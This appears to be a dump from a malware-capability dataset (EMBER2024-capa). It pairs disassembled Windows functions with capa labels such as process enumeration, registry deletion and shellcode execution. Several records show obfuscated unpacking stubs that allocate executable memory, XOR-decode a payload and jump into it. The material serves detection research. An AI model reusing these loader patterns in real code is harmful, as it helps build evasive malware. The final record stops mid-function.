joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405881
Capabilities:
Enumerate processes

Disassembly:
push 0x25c
mov eax, 0x418786
call fcn.00409d79
mov eax, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 0x244], eax
mov eax, dword [ebp + 0xc]
inc esi
xor edi, edi
mov ecx, esi
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x264], edi
call fcn.004020e6
cmp eax, edi
je 0x4058c2
lea ecx, [ebp - 0x25c]
mov dword [eax], ecx
jmp 0x4058c4
xor eax, eax
mov dword [ebp - 0x25c], eax
mov dword [ebp - 0x250], edi
mov dword [ebp - 0x24c], edi
mov dword [ebp - 0x248], edi
push edi
push 2
mov dword [ebp - 4], esi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4059a9
lea eax, [ebp - 0x240]
push eax
push ebx
mov dword [ebp - 0x240], 0x22c
call sub.KERNEL32.dll_Process32FirstW
jmp 0x40599a
lea eax, [ebp - 0x21c]
push eax
push dword [ebp - 0x260]
call fcn.00408eae
pop ecx
pop ecx
test eax, eax
jne 0x40598d
mov edx, dword [ebp - 0x250]
cmp edx, edi
je 0x40593b
mov eax, dword [ebp - 0x248]
sub eax, edx
sar eax, 2
mov ecx, dword [ebp - 0x24c]
mov esi, ecx
sub esi, edx
sar esi, 2
cmp esi, eax
jae 0x405961
mov edx, dword [ebp - 0x238]
mov eax, ecx
add eax, 4
mov dword [ecx], edx
mov dword [ebp - 0x24c], eax
jmp 0x40598d
mov esi, ecx
cmp edx, ecx
jbe 0x40596c
call fcn.00408615
mov eax, dword [ebp - 0x25c]
push esi
push eax
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x25c]
call fcn.00405a6d
lea eax, [ebp - 0x240]
push eax
push ebx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x40590e
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0x244]
call fcn.004059d2
lea esi, [ebp - 0x25c]
call fcn.004031e5
mov eax, dword [ebp - 0x244]
call fcn.00409dc3
ret

Function at 0x4078b4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x420848], 0
push esi
jne 0x407827
call fcn.0040774d
test eax, eax
je 0x40786a
mov eax, dword [0x420848]
cmp eax, 1
jne 0x407848
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x40786a
pop esi
ret
push eax
call dword [0x420850]
test eax, eax
jne 0x4078b2
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x40786e
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x420848]
call dword [0x420850]
mov edi, eax
test edi, edi
je 0x407893
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4078af
mov edi, esi
add esi, 0xff0
push edi
push dword [0x420848]
call dword [0x42084c]
add edi, 0x10
cmp edi, esi
jb 0x40789b
mov eax, edi
pop edi
pop esi
ret
jmp 0x407814

Function at 0x407af8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41f2c4]
jne 0x407b02
repz ret
jmp fcn.00409fbc
Function at 0x4081bf
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x4081f0
call fcn.0040a48a
mov dword [eax], esi
call fcn.0040a477
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.004085ef
add esp, 0x14
push 0x16
pop eax
jmp 0x408245
test dword [ebp + 0xc], 0xfffffff9
jne 0x4081cc
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40821d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040a49d
pop ecx
call fcn.0040a477
mov eax, dword [eax]
jmp 0x408245
test al, 0x10
jne 0x408243
test al, 1
je 0x408243
test byte [ebp + 0xc], 2
je 0x408243
call fcn.0040a48a
mov dword [eax], 5
call fcn.0040a477
mov dword [eax], 0xd
jmp 0x408214
xor eax, eax
pop esi
pop ebp
ret

Function at 0x412885
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040c934
and dword [ebp - 4], 0
cmp dword [0x421468], 0
mov ebx, eax
jne 0x412936
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4129e7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4129e7
push eax
call fcn.0040c8c2
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x421468], eax
call esi
push eax
call fcn.0040c8c2
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42146c], eax
call esi
push eax
call fcn.0040c8c2
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x421470], eax
call esi
push eax
call fcn.0040c8c2
pop ecx
mov dword [0x421478], eax
test eax, eax
je 0x412936
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040c8c2
pop ecx
mov dword [0x421474], eax
mov eax, dword [0x421474]
cmp eax, ebx
je 0x41298e
cmp dword [0x421478], ebx
je 0x41298e
push eax
call fcn.0040c93d
push dword [0x421478]
mov esi, eax
call fcn.0040c93d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41298e
test edi, edi
je 0x41298e
call esi
test eax, eax
je 0x412985
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x412985
test byte [ebp - 0xc], 1
jne 0x41298e
or dword [ebp + 0x10], 0x200000
jmp 0x4129c7
mov eax, dword [0x42146c]
cmp eax, ebx
je 0x4129c7
push eax
call fcn.0040c93d
pop ecx
test eax, eax
je 0x4129c7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4129c7
mov eax, dword [0x421470]
cmp eax, ebx
je 0x4129c7
push eax
call fcn.0040c93d
pop ecx
test eax, eax
je 0x4129c7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x421468]
call fcn.0040c93d
pop ecx
test eax, eax
je 0x4129e7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4129e9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x874058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.008741a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x87407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x87406a
add dl, dl
jne 0x874089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8740dc
xor eax, eax
add dl, dl
jne 0x874096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x87417d
add dl, dl
jne 0x8740a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8740b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8740bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8740c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8740d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x874075
mov eax, 1
add dl, dl
jne 0x8740ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8740f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8740e1
sub eax, ebx
mov ebx, 1
jne 0x874128
mov ecx, 1
add dl, dl
jne 0x87410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x874119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x874105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x874075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x87413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x87414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x874136
cmp eax, 0x7d00
jae 0x87416d
cmp eax, 0x500
jb 0x874168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x874075
cmp eax, 0x7f
ja 0x874170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x874075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x87419e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x874075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x403770
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x420030]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x403813
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.00409257
pop ecx
pop ecx
test eax, eax
je 0x4037fc
test ebx, ebx
je 0x4037f0
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00409257
pop ecx
pop ecx
test eax, eax
jle 0x4037fc
push ebx
call fcn.00404730
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.0040470f
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x4037bd
xor edi, edi
cmp ebx, edi
jne 0x403817
xor eax, eax
jmp 0x403883
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x403846
call fcn.00404730
pop ecx
cmp dword [ebp - 0x70], edi
je 0x403813
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x403813
call fcn.00404730
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x403836
cmp dword [ebp - 0x70], edi
je 0x403879
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.0040470f
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004085d9
add ebp, 0x9c
leave
ret
Function at 0x404925
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x214]
sub esp, 0x294
mov eax, dword [0x420030]
xor eax, ebp
mov dword [ebp + 0x210], eax
mov eax, dword [ebp + 0x21c]
push ebx
push esi
push edi
push 0x10
pop edi
mov dword [ebp - 0x78], eax
call fcn.00404792
push 8
mov esi, eax
call fcn.004046c8
mov ebx, eax
pop ecx
lea eax, [ebp + 0xd0]
push eax
push dword [ebp - 0x78]
mov dword [ebp - 0x80], ebx
call dword [sym.imp.kernel32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x404990
mov dword [ebx], eax
lea eax, [ebp + 0xfc]
mov dword [ebx + 4], eax
mov edi, dword [ebx + 4]
test edi, edi
je 0x404997
and dword [ebx + 4], 0
jmp 0x4049ac
xor eax, eax
jmp 0x404a77
lea eax, [ebp - 0x70]
push eax
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindNextFileA]
neg eax
sbb edi, edi
lea eax, [ebp - 0x44]
and edi, eax
test edi, edi
je 0x404a5d
push edi
call fcn.00407d90
pop ecx
cmp eax, 4
jl 0x404983
add eax, edi
cmp byte [eax - 4], 0x2e
jne 0x404983
add eax, 0xfffffffd
push 0x4197ac
push eax
mov dword [ebp - 0x74], eax
call fcn.004085f0
pop ecx
pop ecx
test eax, eax
je 0x4049f2
push 0x4197a8
push dword [ebp - 0x74]
call fcn.004085f0
pop ecx
pop ecx
test eax, eax
jne 0x404983
push 0x3b
push edi
call fcn.00409780
pop ecx
pop ecx
test eax, eax
jne 0x404983
push dword [ebp - 0x78]
call fcn.00407d90
push edi
mov ebx, eax
call fcn.00407d90
mov dword [ebp - 0x74], eax
add eax, ebx
push eax
call fcn.004046c8
lea ecx, [ebx - 1]
push ecx
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], eax
push eax
call fcn.00409257
mov eax, dword [ebp - 0x74]
inc eax
push eax
push edi
mov edi, dword [ebp - 0x7c]
lea eax, [edi + ebx - 1]
push eax
call fcn.00409257
mov ecx, dword [esi + 4]
add esp, 0x24
inc ecx
call fcn.004047e8
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov ebx, dword [ebp - 0x80]
mov dword [ecx + eax*4], edi
inc dword [esi + 4]
jmp 0x404983
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindClose]
push dword [ebx + 4]
call fcn.00404730
push ebx
call fcn.00404730
pop ecx
pop ecx
mov eax, esi
mov ecx, dword [ebp + 0x210]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004085d9
add ebp, 0x214
leave
ret
Function at 0x407d7a
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x41e210
call fcn.0040d880
xor esi, esi
cmp dword [0x422fe8], esi
jne 0x407c3a
push esi
push esi
push 1
push esi
call dword [sym.imp.kernel32.dll_HeapSetInformation]
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x407c4d
mov dword [ebp - 0x1c], esi
jmp 0x407c83
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x407c48
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x407c48
cmp dword [eax + 0x400074], 0xe
jbe 0x407c48
xor ecx, ecx
cmp dword [eax + 0x4000e8], esi
setne cl
mov dword [ebp - 0x1c], ecx
call fcn.0040d85e
test eax, eax
jne 0x407c94
push 0x1c
call fcn.00409257
pop ecx
call fcn.0040d6e3
test eax, eax
jne 0x407ca5
push 0x10
call fcn.00409257
pop ecx
call fcn.0040d2f3
mov dword [ebp - 4], esi
call fcn.00409257
test eax, eax
jns 0x407cbe
push 0x1b
call fcn.00409257
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x422fe4], eax
call fcn.00409257
mov dword [0x421270], eax
call fcn.0040105b
test eax, eax
jns 0x407ce4
push 8
call fcn.00409257
pop ecx
call fcn.0040cf3b
test eax, eax
jns 0x407cf5
push 9
call fcn.00409257
pop ecx
push 1
call fcn.00409257
pop ecx
cmp eax, esi
je 0x407d08
push eax
call fcn.00409257
pop ecx
mov eax, dword [0x421294]
mov dword [0x421298], eax
push eax
push dword [0x42128c]
push dword [0x421288]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], esi
jne 0x407d35
push eax
call fcn.00409257
call fcn.00408d12
jmp 0x407d6a
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.0040d8c5
ret
call fcn.00409257
jmp 0x407c19

Function at 0x4085d9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420030]
jne 0x4085e3
repz ret
jmp fcn.004101ab
Function at 0x409257
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x409266
pop dword [ebp - 0x50]
mov eax, 0xbe7b1d64
sub eax, 0xbe3a8afe
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x69ba6993
add dword [ebp - 0x60], 0xe497dbb8
mov dword [ebp - 0x5c], 0x57f6bb3c
sub dword [ebp - 0x5c], 0x25c36ef7
mov dword [ebp - 0x58], 0x8b1130ab
add dword [ebp - 0x58], 0xc13b1383
mov dword [ebp - 0x54], 0x98d046d0
sub dword [ebp - 0x54], 0x98d046d0
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x1299de69
sub dword [ebp - 0x60], 0x9e277513
mov dword [ebp - 0x5c], 0xa842aa71
add dword [ebp - 0x5c], 0x9929b704
mov dword [ebp - 0x58], 0xbf4dcfb5
add dword [ebp - 0x58], 0xa4219cb7
mov dword [ebp - 0x54], 0xcd72a9a1
sub dword [ebp - 0x54], 0xcd72a9a1
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x6fba44ff
sub eax, 0x6f78c4b3
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3d4d2
push 0
call eax
mov ecx, 0xd36113dd
sub ecx, 0xd360c4d2
xor esi, esi
add esi, eax
mov edi, 0xf86f71f1
sub edi, 0xf82c99f1
add edi, dword [ebp - 0x50]
mov edx, 0xd002c789
add edx, 0xdfa432cb
add dword [ebp - 4], 0x1d7e283c
mov ebx, dword [edi]
add dword [ebp - 0xc], ebx
xor ebx, edx
xor dword [ebp - 0x28], 0x827eb724
mov dword [esi], ebx
add esi, 0xfd49dfef
add esi, 0x2b62015
add edi, 0x8d5eeb04
add edi, 0x72a11500
loop 0x409385
add eax, 0x172ec14a
add eax, 0xe8d26db5
mov ebx, eax
add eax, 0xfcc62c0
add eax, 0xf0339d45
mov ecx, 0x276c62d0
sub ecx, 0x272c62d0
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1002aaee
pop dword [ebp - 0x3c]
mov eax, 0x8a58c7c5
add eax, 0x85a9e329
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x9805820e
sub dword [ebp - 0x4c], 0x49b33cc3
mov dword [ebp - 0x48], 0xd28cf1dc
add dword [ebp - 0x48], 0x5fa65a69
mov dword [ebp - 0x44], 0x943b4a03
sub dword [ebp - 0x44], 0x47ef05d5
mov dword [ebp - 0x40], 0x2aadcb38
add dword [ebp - 0x40], 0xd55234c8
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x7c18b49c
add eax, 0x93ea0b9c
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xf7f0ea45
sub dword [ebp - 0x4c], 0x837e80ef
mov dword [ebp - 0x48], 0x788c5897
sub dword [ebp - 0x48], 0x371ff722
mov dword [ebp - 0x44], 0x47ae50ad
sub dword [ebp - 0x44], 0xe43ee441
mov dword [ebp - 0x40], 0xd3e4ba33
sub dword [ebp - 0x40], 0xd3e4ba33
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xa261ed49
add eax, 0x6da0d2df
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x39910
push 0
call eax
mov ecx, 0x5465
xor esi, esi
add esi, eax
mov edx, 0x10039600
add edx, dword [ebp - 0x3c]
mov edi, 0xde413313
sub edi, 0x2740e799
add dword [ebp - 0x24], 0xbf5036ec
mov ebx, dword [edx]
xor dword [ebp - 0x18], 0xf6a089a0
sub ebx, edi
sub dword [ebp - 0x14], eax
mov dword [esi], ebx
xor dword [ebp - 8], 0x784f707
add esi, 0x75501dc1
add esi, 0x8aafe243
add edx, 4
loop 0x1002ac06
add eax, 0x951fb7df
add eax, 0x6ae18c88
xor ebx, ebx
add ebx, eax
add eax, 0xa762a65c
sub eax, 0xa762a657
mov ecx, 0x10000000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x40507c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40508b
pop dword [ebp - 0x24]
mov eax, 0x841eb650
sub eax, 0x83de65c5
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x3e737
push 0
mov eax, 0xa239100f
sub eax, 0xa1f6bdf7
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0xdcfaa672
sub ecx, 0xdcfa5c3d
mov edi, eax
mov ebx, 0x75d579cf
add ebx, 0x8a6dda31
add ebx, dword [ebp - 0x24]
mov esi, 0x24ce7cf1
sub esi, 0xc71a6219
sub dword [ebp - 0x10], 0xffa1532b
mov edx, dword [ebx]
add dword [ebp - 0x20], 0xe320635d
xor edx, esi
mov dword [ebp - 0x18], 0xab6596d3
mov dword [edi], edx
mov dword [ebp - 0x1c], 0xed7da4a4
add edi, 0xa68b7efb
add edi, 0x59748109
add ebx, 0xa5fb8b54
sub ebx, 0xa5fb8b50
loop 0x4050ea
add eax, 0x11ba7
xor ebx, ebx
add ebx, eax
add eax, 0x8303488e
add eax, 0x7cfcb777
mov ecx, 0x4218f27
sub ecx, 0x3e18f27
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x407875
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f180]
jne 0x40787f
repz ret
jmp fcn.0040bbd7
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x401443
pop dword [ebp - 0x20]
mov eax, 0x401443
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xe701eb84
sub dword [ebp - 0x30], 0x98afa639
mov dword [ebp - 0x2c], 0x7af3b4b3
add dword [ebp - 0x2c], 0xb73f9792
mov dword [ebp - 0x28], 0xe157d9ef
add dword [ebp - 0x28], 0x6af46a3f
mov dword [ebp - 0x24], 0xa2ee0b00
add dword [ebp - 0x24], 0x5d11f500
lea eax, [ebp - 0x30]
push eax
mov eax, 0xfa4ef8ef
add eax, 0x5f18815
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xe3cf9320
add dword [ebp - 0x30], 0x90a2d636
mov dword [ebp - 0x2c], 0x713e8e12
add dword [ebp - 0x2c], 0xd02dd363
mov dword [ebp - 0x28], 0x7f7169a7
add dword [ebp - 0x28], 0xe3fe02c5
mov dword [ebp - 0x24], 0xbcf92011
add dword [ebp - 0x24], 0x4306dfef
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3759e
push 0
call eax
mov ecx, 0x91f9cc74
add ecx, 0x6e0677ca
xor edx, edx
add edx, eax
mov edi, 0xca8ee259
add edi, 0x35b801a7
add edi, dword [ebp - 0x20]
mov esi, 0xe78feb00
add esi, 0x249702b3
mov dword [ebp - 8], 0x6d088554
mov ebx, dword [edi]
xor dword [ebp - 0x14], ecx
xor ebx, esi
sub dword [ebp - 0x14], 0x3104a2fc
mov dword [edx], ebx
add edx, 0x87831d0b
add edx, 0x787ce2f9
add edi, 0x48a918e8
add edi, 0xb756e71c
loop 0x40155d
add eax, 0x103cb
xor ebx, ebx
add ebx, eax
add eax, 0x9616d41
add eax, 0xf69e92c4
mov ecx, 0x20d24a7a
sub ecx, 0x20924a7a
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x7b8a47
Capabilities:
Parse pe header

Disassembly:
lea esp, [esp + 3]
mov dword [esp + 0x38], esp
call fcn.007b88a5
das
mov edi, 0x72b94a2f
pop es
nop
push es
popal
nop
cmp dword [ebx + reloc.oleaut32.dll_SysFreeString], ebx
mov dword [reloc.oleaut32.dll_SysFreeString], eax
cmpsb byte [esi], byte es:[edi]
movq mm6, qword [esi + 0x61]
push word [esp + 7]
lea esp, [esp + 1]
mov word [esp], di
mov word [esp + 3], dx
mov byte [esp + 0xf], ch
pop word [esp + 6]
jmp 0x7b88d4
mov dword [esp + 1], ebp
push edx
jmp 0x7b89c3
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x401bd7
pop dword [ebp - 0x18]
mov eax, 0x79300f4e
sub eax, 0x78eff377
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x2c7f4a8c
sub dword [ebp - 0x28], 0xde2d0541
mov dword [ebp - 0x24], 0x43f581fd
add dword [ebp - 0x24], 0xee3dca48
mov dword [ebp - 0x20], 0x7971feb6
sub dword [ebp - 0x20], 0x2d25ba88
mov dword [ebp - 0x1c], 0x6ee00112
add dword [ebp - 0x1c], 0x911ffeee
lea eax, [ebp - 0x28]
push eax
mov eax, 0x9891c08c
sub eax, 0x9851502c
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xaca2b733
add dword [ebp - 0x28], 0xc7cfb223
mov dword [ebp - 0x24], 0xe1d6a8eb
add dword [ebp - 0x24], 0x5f95b88a
mov dword [ebp - 0x20], 0x22df0fda
add dword [ebp - 0x20], 0x40905c92
mov dword [ebp - 0x1c], 0x93e62832
sub dword [ebp - 0x1c], 0x93e62832
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3017b
push 0
call eax
mov ecx, 0xf1781e1b
add ecx, 0xe880ff7
mov esi, eax
mov edx, 0x1684af9a
add edx, 0xe9bc5066
add edx, dword [ebp - 0x18]
mov ebx, 0x8ea69e6
add ebx, 0x272ddde4
mov edi, dword [edx]
sub dword [ebp - 0xc], edi
xor edi, ebx
mov dword [ebp - 0x10], 0xa71a6187
mov dword [esi], edi
add dword [ebp - 4], 0x9e737ee
add esi, 0x7f8fb541
add esi, 0x80704ac3
add edx, 4
loop 0x401cf4
add eax, 0x510b5a23
sub eax, 0x510aaf08
mov ebx, eax
add eax, 5
mov ecx, 0x400000
